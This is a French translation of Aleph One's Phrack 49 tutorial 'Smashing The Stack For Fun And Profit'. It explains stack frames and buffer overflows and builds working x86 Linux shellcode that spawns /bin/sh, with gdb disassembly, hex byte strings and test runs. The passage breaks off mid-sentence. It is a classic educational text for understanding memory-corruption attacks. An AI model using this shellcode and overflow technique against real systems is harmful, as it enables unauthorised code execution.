Note de S/asH : cette traduction est loin d'être exempt de défaut. Notamment, j'ai eu du mal à traduire les expressions anglaise comme 'trash the stack' et d'autre. Je les ais donc laissé avec une traduction approximative entre parenthèses. Certaines expression peuvent paraître maladroit voir difficile à comprendre. Si vous avez de meilleur traduction, merci de me prévenir : sl4sh@ifrance.com. .oO Phrack 49 Oo. Volume Seven, Issue Forty-Nine File 14 of 16 BugTraq, r00t, and Underground.Org vous présentent XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX Smashing The Stack For Fun And Profit XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX par Aleph One aleph1@underground.org Traduit par S/asH [RtC] sl4sh@ifrance.com `smash the stack` (fracasser la pile) [C programming] n. Sur plusieurs implémentation du C, il est possible de corrompre la pile d'éxécution en écrivant au-delà de la fin d'un tableau déclaré dans une fonction. Le code fait ce qui est dit dans la partie du tableau qui a été écrite sur la pile et peut provoquer un retour de fonction vers une adresse quelconque. Cela peut produire les bugs les plus insidieux que l'hummanité connaisse. Les autres termes sont 'trash the stack' (envoyer la pile à la poubelle), 'scribble the stack' (gribouiller la pile), 'mangle the stack' (mutiler la pile); le terme 'mung the stack' n'est pas utilisé et tant donné que cela n'est jamais fait intentionellement. Voir 'spam'; voir également 'bug', 'fandango on core', 'memory leak', 'precedence lossage', 'overrun screw'. Introduction ~~~~~~~~~~~~ Depuis quelques mois, de nombreuses failles sur le principe du buffer overflow ont étées découvertes et exploité. Syslog, splitvt, sendmail 8.7.5, Linux/FreeBSD mount, Xt lib, at, etc en sont des exemples. Ce papier est là pour essayer d'expliquer ce que sont les buffer overflows et comment leurs exploits fonctionnent. Des bases en assembleur sont requisent. Une compréhension des concepts de mémoire virtuel et de l'expériende seront très utiles mais pas nécessaire. Nous travailleront avec un CPU Intel x86 et un système Linux. Quelques définitions de bases avant de commencer: un buffer est simplement un block continu de la mémoire d'un ordinateur et contenant plusieurs données du même type. Les programmeurs C associent normallement le mot buffer au mot tableau. Très couramment, tableau de caractères. Les tableaux, comme toutes variables C, peuvent être aussi bien statique que dynamique. Les variables statiques sont allouées au chargement dans le segment de donnée. Les variables dynamiques sont, elles, allouées à l'éxécution dans la pile. 'To Overflow' est innonder (flow), ou plutôt remplir par dessus, dépasser ou encore déborder. Nous nous intéresseront seleulement au débordement des buffers dynamiques et autres connaissance sur les buffer overflows de pile. Organisation de la mémoire des process ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Pour comprendre ce que sont les buffers de pile, nous devons avant tout commprendre comment un process organise la mémoire. Les process sont divisés en trois zones : texte, données et pile. Nous allons nous concentré sur la zone de la pile, mais d'abord, un court aperçu des autres zones dans le même ordre. La zone de texte est fixée par le programme et contient le code (instructions) et données en lecture seule. Cette zone correspond à la section text de l'exécutable. Elle est normallement en lecture seule et toute tentative d'écrire dessus retournera une violation de segment (NDT : ceci est seulement sur de vrai système comme Linux, en effet les systèmes Microsoft laisse quiconque écrire sur la région de Texte). La zone de donnée contient les données, initialisées ou non. Les variables statiques sont stocké dans cette zone. La zone de données correspond aux section data-bss de l'éxécutable. Sa taille peut varier grâce à l'apelle système brk(2). Si l'extension de data-bss ou de la pile épuise la mémoire disponible, le process sera arrêté et 'reprogrammé' pour être relancé à nouveau avec un espace mémoire plus grand. De la mémoire est rajouté entre le segment de données et celui de la pile. /------------------\ plus petites | | adresses | Texte | mémoire | | |------------------| | (Initialisées) | | Données | |(non initialisées)| |------------------| | | | Pile | plus grande | | adresses \------------------/ mémoire Fig. 1 Process Memory Regions Qu'est-ce qu'une pile ? ~~~~~~~~~~~~~~~~~~~~~~~ Une pile est un type de donnée abstrait souvent utilisée en informatique. Une pile d'objet se définie par la propriété que le dernier objet placé sur la pile sera le premier retiré. Cette propriété est appelée une file LIFO (Last In, First Out). Quelques opérations sont définies sur les piles, les deux plus importantes étant PUSH et POP. PUSH ajout un élément en haut de la pile. POP, au contraire, reduit la pile en retire le dernier élément mis en haut de la pile. Pourquoi utilisons-nous une pile ? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Les ordinateurs modernes ont été conçus pour le besoin en langages de haut niveau. La technique la plus importante pour stucturer un programme introduite dans les langages de haut niveau sont les procédures et les fonctions. Un appel a une procédure modifie le flux d'exécution comme le fait un saut, mais, contrairement au saut, quand une procédure a terminé sa tache, elle doit retourné à l'instruction suivant l'appel. Cette abstraction est implémentée avec l'aide d'une pile. La pile est également utilisée pour allouée dynamiquement les variables locales utilisées dans des fonctions, pour passer des paramètres à celle-ci, et pour retourner des valeurs de celle-ci. La zone de la pile ~~~~~~~~~~~~~~~~~~ Une pile est un bloque continu du mémoire contenant des données. Un registre appelé le pointeur de pile (SP : stack pointer) pointe sur le haut de la pile. Le bas de la pile étant à une adresse fixée. Sa taille est ajustée dynamiquement à l'éxécution par le noyau. Les instruction PUSH et POP sont implémenté dans le processeur. La pile est composé de fenetres logiques qui sont "poussées" quand une fonction est appelée et sorties au retour de la fonction. Une fenetre contient les paramètres de la fonction, ses variables locales, et les données nécessaires pour récupéré la fenetre précédentes, y compris la valeur du pointeur de code (pointeur pointant sur l'instruction en cour) au momment de l'appel à la fonction. Selon l'implémentation la pile va s'étendre soit par le bas (vers les adresses de mémoire plus faibles) soit par le haut. Dans nos exemples nous utiliseront une pile qui s'étend par le bas. C'est l'implémentation la plus courante des piles (notamment celle des processeurs Intel, Motorola, SPARC et MIPS). Le pointeur de pile (SP) dépend également de l'implémentation. Il peut pointer sur la dernière adresse de la pile ou sur la première adresse disponible après la pile. Pour cet article, nous considèrerons qu'il pointe sur la dernière adresse de la pile. En plus du pointer de pile, qui pointe sur le haut de la pile (la plus petite adresse numérique), il est souvent pratique d'avoir un pointeur de fenetre (FP : frame pointer) qui pointera vers une adresse liée à la fenetre. Certain textes peuvent également le nommé pointeur de base locale (LB). En principe les variables locales peuvent etre référencées en donnant leur position par rapport à SP. Mais, comme des données sont poussées et retirées de la pile, ce déplacement change. Meme si, dans certain cas, le compilateur peut garder trace du nombre de mots dans la pile et corriger les offsets, il y a certain cas où il ne peut pas le faire et dans tous ces cas une énorme gestion de SP est nécessaire. De plus, sur certaines machines, comme les machines à processeur Intel, accéder à une variable située à une distance connue de SP requiert plusieurs intructions. Par conséquence, plusieur compilateurs utilisent un second registre, FP, pour référencer aussi bien les variables locales que les paramètres car la distance par rapport à FP ne change pas avec les PUSH et les POP. Sur les CPU Intel, BP (EBP) est utilisée dans ce but. Sur les processeur Motorola, tout registre d'adresse excepté A7 (le pointeur de pile) peut servir à cela. A cause de la facçon dont est augmenté la pile, les paramètres réels ont un offset positif et les variables locales un offset négatif à partir de FP. la première chose qu'une procédure doit faire lorsqu'elle est appelée est de sauver le précedent FP (pour qu'il puisse etre restoré à la sortie de la procédure). Après, elle copie SP dans FP pour créer le nouveau FP, et avance SP pour réserver de la place pour les variables locales. Ce code est appelé le prologue de la procédure. Lorsque la procédure se termine, la pile doit etre nettoyer, il s'agit de l'épilogue de la procédure. Les instructions Intel ENTER et LEAVE ou les instructions Motorola LINK et UNLINK réalise la plupart du travail à faire dans le prologue et dans l'épilogue Regardons de quoi a l'air la pile avec un exemple simple : example1.c: ------------------------------------------------------------------------------ void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; } void main() { function(1,2,3); } ------------------------------------------------------------------------------ Pour comprendre ce que le programme fait pour appeler function(), nous le compilerons en utilisant l'option -S de gcc pour générer une sortie assembleur: $ gcc -S -o example1.s example1.c En regardant la sortie assembleur, nous voyons que l'appel à function() est traduit par : pushl $3 pushl $2 pushl $1 call function Cela met les 3 arguments de la fonction dans la pile, puis appelle function(). L'instruction 'call' va mettre le pointer de code (IP : instruction pointer) dans la pile. Nous auront besoin du registre IP sauvé pour l'adresse de retour (à l'instruction RET). La première chose faite dans la fonction est le prologue : pushl %ebp movl %esp,%ebp subl $20,%esp Ce code met EBP dans la pile et le pointeur de fenetre. Puis il copie le SP courant dans EBP, construisant le nouveau FP. Nous appellerons le FP sauvegarder SFP. Et enfin, il alloue de la place pour les variables locales en soustrayant la taille totale des variables à SP. Nous devons nous rappeler que la mémoire peut seulement etre adressée par un multiple de la taille des mots (NDT : 16 bits sur un système 16-bits, 32-bits sur un système 32-bits). Dans notre cas un mots fait 4 octets soit 32 bits. Donc notre buffer de 5 octets va en prendre en réalité 8 octets (2 mots) et celui de 10 octets prendra 12 octets (3 mots) en mémoire. C'est pourquoi SP est soustrait de 20. En gardant ceci à l'esprit, notre pile ressemblera, quand function() aura été apelée, à (chaque espace représente un octet) : bas de la haut de mémoire la mémoire buffer2 buffer1 sfp ret a b c <------ [ ][ ][ ][ ][ ][ ][ ] bas de la haut de la pile pile Buffer Overflows ~~~~~~~~~~~~~~~~ Un buffer overflow (dépassement de tampon) est le résultat d'une tentative de mettre plus de données qu'un buffer peut contenir. Comment cet erreur de programmation courante peut-etre détourné pour exécuter un code arbitraire ? Regardons un autre exemple : example2.c ------------------------------------------------------------------------------ void function(char *str) { char buffer[16]; strcpy(buffer,str); } void main() { char large_string[256]; int i; for( i = 0; i < 255; i++) large_string[i] = 'A'; function(large_string); } ------------------------------------------------------------------------------ Il s'agit d'un programme contenant une erreur de buffer overflow typique. La fonction copie une chaine données sans vérifier sa taille en utilisant strcpy() au lieu de strncpy(). Si vous lancez ce programme, vous obtiendrez un segmentation violation. Regardons de quoi la pile à l'air quand nous appelons la fonction: bas de la haut de mémoire la mémoire buffer sfp ret *str <------ [ ][ ][ ][ ] bas de la haut de la pile pile Qu'est-ce qui ce passe ? Pourquoi obtenons nous un segmentation violation ? C'est simple. strcpy() copie le contenu de *str (larger_string[]) dans buffer[] jusqu'à ce qu'un caractère null ('\0') soit trouvé dans la chaine. Comme nous pouvons le voir, buffer[] est plus petit que *str. buffer[] fait 16 octets et nous essayons d'y placer 256 octets. Cela veut dire que les 250 octets suivants le buffer dans la pile seront réécrit. Incluant SFP, RET, et meme *str ! Nous avons remplit large_string avec le caractère 'A' dont la valeur héxadécimale est 0x41. Cela signifie que l'adresse de retour sera désormais 0x41414141. C'est hors de l'espace mémoire du processus. C'est pourquoi, alors la fonction finie et essaie de lire l'instruction à cette adresse, vous obtenez un segmentation violation. Donc un buffer overflow nous autorise à changer l'adresse de retour d'une fonction. Par ce moyen nous pouvons changer le cour de l'exécution normale d'un programme. Revenons à notre premier exemple et rappelons nous que la pile ressemblait à : bas de la haut de mémoire la mémoire buffer2 buffer1 sfp ret a b c <------ [ ][ ][ ][ ][ ][ ][ ] bas de la haut de la pile pile Modifions notre premier exemple pour qu'il réécrive l'adresse de retour, et voyons comment nous pouvons exécuter un code arbitraire. Juste avant buffer1[] il y a, dans la pile, SFP et, encore avant, l'adresse de retour. Soit 4 octets après la fin de buffer1[]. Mais rappelons-nous que buffer1[] fait en réalité 2 mots soit 8 octets. Donc l'adresse de retour est à 12 octets du début de buffer1[]. Nous allons modifier la valeur de retour de tel manière que l'instruction 'x = 1;' après l'appel à la fonction sera sauté. Pour le faire, nous ajoutons 8 à l'adresse de retour. Notre code est désormais : example3.c: ------------------------------------------------------------------------------ void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; int *ret; ret = buffer1 + 12; (*ret) += 8; } void main() { int x; x = 0; function(1,2,3); x = 1; printf("%d\n",x); } ------------------------------------------------------------------------------ Nous avons ajouté 12 à l'adresse de buffer1[]. Cette nouvelle adressse est l'emplacement de l'adresse de retour. Nous voulons "sauter" l'assignement pour arriver à l'appel à printf. Comment avons-nous su qu'il fallait ajouter 8 à l'adresse de retour ? Nous avons d'abord utilisé une valeur de test (pour l'exemple 1), compilé le programme et lancé gdb : ------------------------------------------------------------------------------ [aleph1]$ gdb example3 GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (no debugging symbols found)... (gdb) disassemble main Dump of assembler code for function main: 0x8000490
: pushl %ebp 0x8000491 : movl %esp,%ebp 0x8000493 : subl $0x4,%esp 0x8000496 : movl $0x0,0xfffffffc(%ebp) 0x800049d : pushl $0x3 0x800049f : pushl $0x2 0x80004a1 : pushl $0x1 0x80004a3 : call 0x8000470 0x80004a8 : addl $0xc,%esp 0x80004ab : movl $0x1,0xfffffffc(%ebp) 0x80004b2 : movl 0xfffffffc(%ebp),%eax 0x80004b5 : pushl %eax 0x80004b6 : pushl $0x80004f8 0x80004bb : call 0x8000378 0x80004c0 : addl $0x8,%esp 0x80004c3 : movl %ebp,%esp 0x80004c5 : popl %ebp 0x80004c6 : ret 0x80004c7 : nop ------------------------------------------------------------------------------ Nous pouvons voir qu'en appelant function() l'adresse de retour sera 0x8004a8, et que nous voulons aller après l'assignement à 0x80004ab. L'instruction que nous voulons éxécuter est à l'adresse 0x8004b2. Un petit peu de math nous dit que la distance à ajouter est 8 octets. Shell Code ~~~~~~~~~~ A présent que nous savons que nous pouvons modifier l'adresse de retour et le cour de l'exécution, quel programme voulons-nous exécuter ? Dans la plupart des cas, nous voulons simplement que le programme renvoie un shell. A partir du shell, nous pouvons lancer les commandes que nous voulons. Mais comment faire s'il n'y a pas de code qui lance un shell dans le programme que nous essayons d'exploiter ? Comment mettre une instruction arbitraire dans l'espace mémoire du programme ? La solution est de mettre le code que nous voulons éxécuter dans le buffer que nous voulons faire déborder, et de réécrire l'adresse de retour pour qu'elle pointe dans le buffer. Considérons que la pile commence à l'adresse 0xFF, et que S représente le code que nous voulons exécuter, alors la pile ressemblera à : bas de la DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF haut de la mémoire 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF mémoire buffer sfp ret a b c <------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03] ^ | |____________________________| bas de la haut de la pile pile Le code pour lancer un shell en C ressemble à : shellcode.c ----------------------------------------------------------------------------- #include void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } ------------------------------------------------------------------------------ Pour voir à quoi cela ressemble en assembleur nous le compilons et démarrons gdb. N'oubliez pas d'utiliser l'option -static. Sinon le code pour l'appel système à execve ne sera pas inclu : il y aura à la place une référence vers la libc qui est normallement liée au chargement. ------------------------------------------------------------------------------ [aleph1]$ gcc -o shellcode -ggdb -static shellcode.c [aleph1]$ gdb shellcode GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (gdb) disassemble main Dump of assembler code for function main: 0x8000130
: pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : subl $0x8,%esp 0x8000136 : movl $0x80027b8,0xfffffff8(%ebp) 0x800013d : movl $0x0,0xfffffffc(%ebp) 0x8000144 : pushl $0x0 0x8000146 : leal 0xfffffff8(%ebp),%eax 0x8000149 : pushl %eax 0x800014a : movl 0xfffffff8(%ebp),%eax 0x800014d : pushl %eax 0x800014e : call 0x80002bc <__execve> 0x8000153 : addl $0xc,%esp 0x8000156 : movl %ebp,%esp 0x8000158 : popl %ebp 0x8000159 : ret End of assembler dump. (gdb) disassemble __execve Dump of assembler code for function __execve: 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx 0x80002c0 <__execve+4>: movl $0xb,%eax 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx 0x80002ce <__execve+18>: int $0x80 0x80002d0 <__execve+20>: movl %eax,%edx 0x80002d2 <__execve+22>: testl %edx,%edx 0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42> 0x80002d6 <__execve+26>: negl %edx 0x80002d8 <__execve+28>: pushl %edx 0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location> 0x80002de <__execve+34>: popl %edx 0x80002df <__execve+35>: movl %edx,(%eax) 0x80002e1 <__execve+37>: movl $0xffffffff,%eax 0x80002e6 <__execve+42>: popl %ebx 0x80002e7 <__execve+43>: movl %ebp,%esp 0x80002e9 <__execve+45>: popl %ebp 0x80002ea <__execve+46>: ret 0x80002eb <__execve+47>: nop End of assembler dump. ------------------------------------------------------------------------------ Essayons de comprendre ce qui ce passe dans ce code. Commençons par étudier main : ------------------------------------------------------------------------------ 0x8000130
: pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : subl $0x8,%esp C'est le prélude de la procédure. Tout d'abord, l'ancien pointeur de fenetre est sauvé puis le nouveau est construit à partir du pointeur de pile et enfin de la mémoire est laissée pour les variables locales. Ici c'est : char *name[2]; soit 2 pointeurs vers une donnée de type char. Les pointeurs font un mot de longueur, donc 2 mots de mémoire sont réservés dans la pile (8 octets). 0x8000136 : movl $0x80027b8,0xfffffff8(%ebp) Nous copions la valeur 0x80027b8 (l'adresse de la chaine "/bin/sh") dans le premier pointeur, name[0]. C'est équivalent à : name[0] = "/bin/sh"; 0x800013d : movl $0x0,0xfffffffc(%ebp) Nous copions la valeur 0x0 (NULL) dans le second pointeur, name[1]. C'est équivalent à : name[1] = NULL; Le véritable appel à execve() commence ici. 0x8000144 : pushl $0x0 Les arguments de execve() sont poussés dans la pile selon l'ordre inverse, en commençant par NULL. 0x8000146 : leal 0xfffffff8(%ebp),%eax L'adresse de name[] est chargé dans le registre EAX 0x8000149 : pushl %eax L'adresse de name[] est poussée dans la pile. 0x800014a : movl 0xfffffff8(%ebp),%eax L'adresse de la chaine "/bin/sh" est mise dans le registre EAX. 0x800014d : pushl %eax Nous poussons l'adresse de la chaine "/bin/sh" dans la pile. 0x800014e : call 0x80002bc <__execve> Appelle la procedure execve(). L'instruction call pousse IP dans la pile ------------------------------------------------------------------------------ Passons désormais à execve(). Gardons à l'esprit que nous utilisons un système Linux avec processeur Intel. Les détails des appels système change selon l'OS et le CPU. Certains passent les arguments sur la pile, d'autres dans les registres. Certains utilisent une interruption logiciel pour passer en mode noyau, d'autres utilisent un far call. Linux passe ces arguments du call dans les registres et utilisent une interruption logiciel pour passer la main au noyau. ------------------------------------------------------------------------------ 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx Le prélude 0x80002c0 <__execve+4>: movl $0xb,%eax Copie 0xb (11 en décimal) sur la pile, il s'agit d'un index de la table d'appel système. 11 est celui de execve. 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx Copie l'adresse de "/bin/sh" dans EBX. 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx Copie l'adresse de name[] dans ECX. 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx Copie l'adresse du pointeur nul dans %edx. 0x80002ce <__execve+18>: int $0x80 Passe la main au noyau. ------------------------------------------------------------------------------ Donc, comme nous pouvons le voir, il n'y en pas de trop pour l'appel système à execve(). Tout ce que nous avons besoin de faire est : a) Avoir la chaine "/bin/sh" (terminée par un caractère nul) quelque part en mémoire. b) avoir l'adresse de la chaine "/bin/sh" en mémoire suivit d'un mots nul. c) Copier 0xb dans le registre EAX. d) Copier l'adresse de l'adresse de la chaine "/bin/sh" dans le registre EBX. e) Copier l'adresse de la chaine "/bin/sh" dans le registre ECX. f) Copier l'adresse du mot nul dans EDX. g) Exécuter l'instruction int $0x80. Qu'en est-il du cas où l'appel à execve() echoue pour une raison quelconque? Le program va continuer à aller chercher des instructions dans la pile qui peut contenir des données aléatoire ! Le programmes plantera surement avec un joli core dump. Nous voulons que le programme quitte tranquilement si l'appel à execve échoue. Pour cela, nous devons ajouter un un appel système à exit après celui de execve. A quoi ressemble l'appel systèmle à exit ? exit.c ------------------------------------------------------------------------------ #include void main() { exit(0); } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o exit -static exit.c [aleph1]$ gdb exit GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (no debugging symbols found)... (gdb) disassemble _exit Dump of assembler code for function _exit: 0x800034c <_exit>: pushl %ebp 0x800034d <_exit+1>: movl %esp,%ebp 0x800034f <_exit+3>: pushl %ebx 0x8000350 <_exit+4>: movl $0x1,%eax 0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx 0x8000358 <_exit+12>: int $0x80 0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx 0x800035d <_exit+17>: movl %ebp,%esp 0x800035f <_exit+19>: popl %ebp 0x8000360 <_exit+20>: ret 0x8000361 <_exit+21>: nop 0x8000362 <_exit+22>: nop 0x8000363 <_exit+23>: nop End of assembler dump. ------------------------------------------------------------------------------ L'appel système exit() place 0x1 dans EAX, le code de sortie dans EBX puis exécute "int 0x80". La plupart des applications retournent 0 à la sortie pour indiquer "pas d'erreur". Nous placerons donc 0 dans EBX. Notre liste d'étapes est maintenant : a) Avoir la chaine "/bin/sh" (terminée par un caractère nul) quelque part en mémoire. b) avoir l'adresse de la chaine "/bin/sh" en mémoire suivit d'un mots nul. c) Copier 0xb dans le registre EAX. d) Copier l'adresse de l'adresse de la chaine "/bin/sh" dans le registre EBX. e) Copier l'adresse de la chaine "/bin/sh" dans le registre ECX. f) Copier l'adresse du mot nul dans EDX. g) Exécuter l'instruction int $0x80. h) Copier 0x1 dans le registre EAX. i) Copier 0x0 dans le registre EBX. j) Exécuter l'instruction int $0x80. Essayons de mettre tout ça essemble en langage assembleur, en plaçant la chaine après le code, et en nous rappelant que nous devrons mettre l'adresse de la chaine et un mot null après le tableau. Nous obtenons: ------------------------------------------------------------------------------ movl string_addr,string_addr_addr movb $0x0,null_byte_addr movl $0x0,null_addr movl $0xb,%eax movl string_addr,%ebx leal string_addr,%ecx leal null_string,%edx int $0x80 movl $0x1, %eax movl $0x0, %ebx int $0x80 La chaine /bin/sh vient ici ------------------------------------------------------------------------------ Le problème est que nous ne connaissons pas où, dans l'espace mémoire, le programme dont nous essayons d'exploiter le code (et la chaine) sera placé. Un moyen de contourner ce problème est d'utiliser un JMP puis un CALL. Les instructions JMP et CALL peuvent utiliser l'adressage relatif à IP, ce qui veut dire que nous pouvons nous déplacer d'un offset à partir du IP courant sans avoir besoin de connaitre l'adresse exacte de la mémoire où nous voulons aller. Si nous placons une instruction CALL juste avant la chaine "/bin/sh", et une instruction JMP vers celle-ci, l'adresse de la chaine sera poussé dans la pile comme adresse de retour quand le CALL sera exécuté. Tout ce que nous avons besoin de faire est de copier l'adresse de retour dans un registre. L'instruction CALL peut appeler simplement le début du code précédent. Considérons désormais que J est là pour l'instruction JMP, C pour l'instruction CALL, et s pour la chaine, alors le flux d'exécution sera : bas de la DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF haut de la mémoire 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF mémoire buffer sfp ret a b c <------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03] ^|^ ^| | |||_____________||____________| (1) (2) ||_____________|| |______________| (3) bas de la haut de la pile pile Avec ces modifications, en utilisant un adressage indexé, et en écrivant la taille en octet de chaque instruction, notre code ressemble à : ------------------------------------------------------------------------------ jmp offset-to-call # 2 octets popl %esi # 1 octet movl %esi,array-offset(%esi) # 3 octets movb $0x0,nullbyteoffset(%esi)# 4 octets movl $0x0,null-offset(%esi) # 7 octets movl $0xb,%eax # 5 octets movl %esi,%ebx # 2 octets leal array-offset,(%esi),%ecx # 3 octets leal null-offset(%esi),%edx # 3 octets int $0x80 # 2 octets movl $0x1, %eax # 5 octets movl $0x0, %ebx # 5 octets int $0x80 # 2 octets call offset-to-popl # 5 octets La chaine /bin/sh va ici ------------------------------------------------------------------------------ En calculant la distance de jmp à call, de call à popl, de l'adresse de la chaine au tableau et de l'adresse de la chaine au mot null, nous obtenons à présent : ------------------------------------------------------------------------------ jmp 0x26 # 2 octets popl %esi # 1 octet movl %esi,0x8(%esi) # 3 octets movb $0x0,0x7(%esi) # 4 octets movl $0x0,0xc(%esi) # 7 octets movl $0xb,%eax # 5 octets movl %esi,%ebx # 2 octets leal 0x8(%esi),%ecx # 3 octets leal 0xc(%esi),%edx # 3 octets int $0x80 # 2 octets movl $0x1, %eax # 5 octets movl $0x0, %ebx # 5 octets int $0x80 # 2 octets call -0x2b # 5 octets .string \"/bin/sh\" # 8 octets ------------------------------------------------------------------------------ Ca à l'air bon. Pour etre sur que cela fonctionne correctement nous devons le compiler et le lancer. Mais il y a un problème : notre code s'automodifie et la plupart des OS mettent les zones de codes en lecture seule. Pour passer outre cette restriction, nous devons placer le code que nous voulons éxécuter dans la pile ou dans le segment de données et lui passer le controle. Pour cela, nous placerons notre code dans un tableau global dans le segment de données. Nous avons d'abord besoin d'une représentation hexadécimale du code binaire. Compilons-le d'abord puis utilisons gdb. shellcodeasm.c ------------------------------------------------------------------------------ void main() { __asm__(" jmp 0x2a # 3 octets popl %esi # 1 octet movl %esi,0x8(%esi) # 3 octets movb $0x0,0x7(%esi) # 4 octets movl $0x0,0xc(%esi) # 7 octets movl $0xb,%eax # 5 octets movl %esi,%ebx # 2 octets leal 0x8(%esi),%ecx # 3 octets leal 0xc(%esi),%edx # 3 octets int $0x80 # 2 octets movl $0x1, %eax # 5 octets movl $0x0, %ebx # 5 octets int $0x80 # 2 octets call -0x2f # 5 octets .string \"/bin/sh\" # 8 octets "); } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c [aleph1]$ gdb shellcodeasm GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (gdb) disassemble main Dump of assembler code for function main: 0x8000130
: pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : jmp 0x800015f 0x8000135 : popl %esi 0x8000136 : movl %esi,0x8(%esi) 0x8000139 : movb $0x0,0x7(%esi) 0x800013d : movl $0x0,0xc(%esi) 0x8000144 : movl $0xb,%eax 0x8000149 : movl %esi,%ebx 0x800014b : leal 0x8(%esi),%ecx 0x800014e : leal 0xc(%esi),%edx 0x8000151 : int $0x80 0x8000153 : movl $0x1,%eax 0x8000158 : movl $0x0,%ebx 0x800015d : int $0x80 0x800015f : call 0x8000135 0x8000164 : das 0x8000165 : boundl 0x6e(%ecx),%ebp 0x8000168 : das 0x8000169 : jae 0x80001d3 <__new_exitfn+55> 0x800016b : addb %cl,0x55c35dec(%ecx) End of assembler dump. (gdb) x/bx main+3 0x8000133 : 0xeb (gdb) 0x8000134 : 0x2a (gdb) . . . ------------------------------------------------------------------------------ testsc.c ------------------------------------------------------------------------------ char shellcode[] = "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o testsc testsc.c [aleph1]$ ./testsc $ exit [aleph1]$ ------------------------------------------------------------------------------ Ca marche ! Mais il y a un obstacle. Dans la plupart des cas, nous essaierons de faire déborder un tableau de caractère. Ainsi n'importe quel octet null de notre shellcode sera interprété comme la fin de la chaine, et la copie s'y terminera. Pour que notre exploit fonctionne, il ne faut aucun octet null dans notre shellcode. Essayons de les éliminer (et en meme temps de rendre le code plus petit). Instruction problématique : Remplacée par : -------------------------------------------------------- movb $0x0,0x7(%esi) xorl %eax,%eax molv $0x0,0xc(%esi) movb %eax,0x7(%esi) movl %eax,0xc(%esi) -------------------------------------------------------- movl $0xb,%eax movb $0xb,%al -------------------------------------------------------- movl $0x1, %eax xorl %ebx,%ebx movl $0x0, %ebx movl %ebx,%eax inc %eax -------------------------------------------------------- Notre code amélioré : shellcodeasm2.c ------------------------------------------------------------------------------ void main() { __asm__(" jmp 0x1f # 2 octets popl %esi # 1 octet movl %esi,0x8(%esi) # 3 octets xorl %eax,%eax # 2 octets movb %eax,0x7(%esi) # 3 octets movl %eax,0xc(%esi) # 3 octets movb $0xb,%al # 2 octets movl %esi,%ebx # 2 octets leal 0x8(%esi),%ecx # 3 octets leal 0xc(%esi),%edx # 3 octets int $0x80 # 2 octets xorl %ebx,%ebx # 2 octets movl %ebx,%eax # 2 octets inc %eax # 1 octets int $0x80 # 2 octets call -0x24 # 5 octets .string \"/bin/sh\" # 8 octets # total : 46 octets "); } ------------------------------------------------------------------------------ Et notre nouveau programme de test : testsc2.c ------------------------------------------------------------------------------ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o testsc2 testsc2.c [aleph1]$ ./testsc2 $ exit [aleph1]$ ------------------------------------------------------------------------------ Ecrire 